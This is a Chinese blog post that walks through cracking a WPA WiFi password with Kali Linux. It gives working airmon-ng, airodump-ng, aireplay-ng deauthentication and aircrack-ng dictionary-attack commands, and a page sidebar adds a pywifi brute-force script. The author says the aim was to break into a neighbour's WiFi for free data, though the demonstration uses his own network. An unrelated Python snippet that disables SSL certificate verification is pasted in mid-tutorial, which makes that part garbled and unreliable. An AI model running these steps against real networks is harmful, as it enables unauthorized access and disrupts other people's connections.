WiFi爆破实战

提示:本文记录了博主的一次WiFi爆破实战


写在前面

提示:这里仅用作安全测试和渗透测试中的技术交流,读者切勿用来做非法的事情,博主概不负责。

因为职业原因,在外面我从来不连接公共WiFi,都是用自己的流量上网。最近出差频繁导致流量告急,就在想是否可以爆破一个附近的相对安全一点的WiFi,蹭点流量呢?于是上网开始搜索,教程到真是不少,但是需要一个可用来做监听的无线网卡,可惜我手头没有。
因为职业的原因,这件事就在心中发芽了,家里前几年买了个免驱的USB无线网卡,打算出差回家就折腾一下下。出差回家后,翻箱倒柜,找到无线网卡,开始动手,这就是这篇文章的由来。

一、将网卡连接Kali虚拟机

我的Kali是安装在Windows的VMWare下的虚拟机,启动Kali虚拟机,插入无线网卡。这时候VMWare会弹出如下图所示的提示信息。
在这里插入图片描述
选择“连接到虚拟机”,并且在虚拟机列表中选择要连接的Kali,然后点击确定按钮。
接下来看看Kali是不是可以搜索到附件的无线信号。
在这里插入图片描述
额,各种重启、各种折腾,发现始终无法开启无线连接。上网搜索了一下,发现我的姥爷无线网卡在Windows下是免驱的,在Linux下不是免驱的,那就接下来找对应的Linux版本驱动吧。
通过插拔USB无线网卡,并在Kalil下通过lsusb -tv命令可以识别到无线网卡的ID信息,如下图所示。
在这里插入图片描述
个人理解,冒号前面的四位十六进制是貌似是厂家ID,后面四位是型号ID。具体的型号是第二行显示的MT7601U。直接根据ID中的148f和7601从www.linux-usb.org/usb.ids上查找型号,确认是不是MT7601U。
在这里插入图片描述
这次稳了,就是这个型号,直接去官网(https://www.mediatek.com/products/broadband-wifi/mt7601u)找驱动源码。

下载对应的驱动源码包DPO_MT7601U_LinuxSTA_3.0.0.4_20130913.tar.bz2。
在这里插入图片描述
解压驱动包

$ tar -jxvf DPO_MT7601U_LinuxSTA_3.0.0.4_20130913.tar.bz2

然后编辑安装。
在这里插入图片描述
各种变异失败,重新再Git上搜索驱动,也没有一个可用的,折腾了一个下午放弃。直接从京东上买了一个kali免驱的监听无线网卡,几十块钱,基本上标准kali监听都可以直接用,不用额外安装驱动。接下来就是焦急等待到货。
无线网卡到货后迫不及待试了一下,果然很顺畅,kali直接识别了,并且搜索到了附近的WiFi。
在这里插入图片描述

二、网卡配置骤

2.1 识别网卡

通过ifconfig看一下是不是能够正常识别到(肯定是可以的,因为前面都已经搜索到信号了)。
在这里插入图片描述
没有任何问题,在用iwconfig确认一下(我的强迫症又犯了)。
在这里插入图片描述

2.2 净化环境

通过下面的命令,清除一下系统中可能影响WiFi监听的进程。

$ sudo airmon-ng check kill

代码如下(示例):

import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
import warnings
warnings.filterwarnings('ignore')
import  ssl
ssl._create_default_https_context = ssl._create_unverified_context

在这里插入图片描述

2.3 启动监听

通过下面的命令启动监听。

$ sudo airmon-ng start wlan0

在这里插入图片描述
通过下面的命令检查一下是否开启监听成功。

$ iwconfig

在这里插入图片描述
如上图所示,无线网卡的别名变成了wlan0mon,并且Mode显示未Monitor,说明开启监听成功了。

2.4 探测周边WiFi

通过下面的命令开始探测周边的WiFi。

$ sudo airodump-ng wlan0mon

在这里插入图片描述
还挺多的,各种信息一目了然啊,BSSID是无线路由器的MAC地址,PWR是对应的信号强度(绝对值越小信号越强),CH是当前的信道编号,等等。为了讲清楚逻辑原理,我们直接使用自己的已知密码的WiFi。

三、实施攻击

3.1 对选定的目标WiFi实施监听

$ sudo airodump-ng --bssid F4:2A:7D:2A:9D:11 -c 12 -w ~/Desktop/test20230802002-01 wlan0mon

这里说明一下,–bssid后面跟的是目标WiFi的BSSID,-c后面跟的是目标WiFi的信道编号, -w后面跟的是监听抓包的存放位置(这里我们直接放在桌面,文件明是test20230802002-01)。

在这里插入图片描述
如上图所示,最后一行的STATION列显示的就是当前连接到目标WiFi上的设备的MAC地址,当前的WiFi还是比较稳定的,丢包率Lost为0。

3.2 发起DOS攻击

通过下面的命令,对WiFi发起DOS工具,似的连接到WiFi上的设备无法正常联网。

$ sudo aireplay-ng -0 1000 -a F4:2A:7D:2A:9D:11 -c F4:84:8D:C8:A0:4E wlan0mon

在这里插入图片描述
上面的命令中,-a后面跟的是目标WiFi的MAC地址,-c后面跟的是某个选定的连接到该WiFi的设备的MAC地址。开启DOS攻击后,网络的丢包率飙升,并且还出现的WPA handshake(重新握手,我们需要的就是这个握手包)。
在这里插入图片描述
到这里可以停止监听和停止DOS攻击了。

3.3 实施爆破

因为这里只是展示原理和可行性,我手工随便构建了一个用于爆破的WiFi密码字典(网上有很多,大家可以自行下载使用),顺便把我们目标WiFi的密码也写到了WiFi密码字典中,接下来我们就用这个WiFi字典对用刚才的WiFi握手包进行爆破。

$ sudo aircrack-ng -w ~/Desktop/wifi-dic.txt ~/Desktop/test20230802002-01.cap

说明一下,-w后面跟的是我们选定的用于爆破的WiFi密码字典,在后面跟的是我们刚才监听目标WiFi过程中抓获的包括握手报文的抓包文件。
在这里插入图片描述
分分钟就爆破成功了。实战过程中,这依赖于我们的WiFi字典,高质量的字典会直接导致我们的爆破成功率飙升。

写在最后

这里再重申一遍,本文只做技术交流,并提醒大家设置健壮的WiFi密码,使用安全的WiFi协议,希望读者不要用本文内容干非法的事情。

  • 0
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是使用pywifi模块进行wifi爆破的Python代码示例: ```python import pywifi from pywifi import const # 设置要破解的wifi名称和字典文件路径 ssid = "wifi_name" path = "passwords.txt" # 创建一个无线对象 wifi = pywifi.PyWiFi() # 获取第一个无线网卡 iface = wifi.interfaces()[0] # 断开无线网卡连接 iface.disconnect() # 开启监控 iface.monitor_mode = True # 开始抓包 iface.scan() # 获取扫描结果 results = iface.scan_results() # 遍历扫描结果,查找目标wifi target_wifi = None for result in results: if result.ssid == ssid: target_wifi = result break # 如果找到目标wifi if target_wifi: # 读取字典文件 with open(path, "r") as f: passwords = f.readlines() # 遍历字典文件中的密码 for password in passwords: # 去除密码两端的空格和换行符 password = password.strip() # 创建wifi连接文件 profile = pywifi.Profile() profile.ssid = ssid profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = password # 删除所有wifi连接文件 iface.remove_all_network_profiles() # 添加新的wifi连接文件 tmp_profile = iface.add_network_profile(profile) # 连接wifi iface.connect(tmp_profile) # 等待连接结果 while iface.status() == const.IFACE_CONNECTING: pass # 判断是否连接成功 if iface.status() == const.IFACE_CONNECTED: print("Success! Password is: ", password) break else: print("Failed! Password is: ", password) # 如果没有找到目标wifi else: print("Target wifi not found!") ``` 该代码使用pywifi模块实现了wifi爆破功能,具体步骤如下: 1. 设置要破解的wifi名称和字典文件路径。 2. 创建一个无线对象。 3. 获取第一个无线网卡。 4. 断开无线网卡连接。 5. 开启监控。 6. 开始抓包。 7. 获取扫描结果。 8. 遍历扫描结果,查找目标wifi。 9. 如果找到目标wifi,读取字典文件,遍历字典文件中的密码。 10. 创建wifi连接文件,删除所有wifi连接文件,添加新的wifi连接文件,连接wifi。 11. 等待连接结果,判断是否连接成功。 12. 如果连接成功,输出密码并结束程序;如果连接失败,继续尝试下一个密码。 13. 如果没有找到目标wifi,输出提示信息并结束程序。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值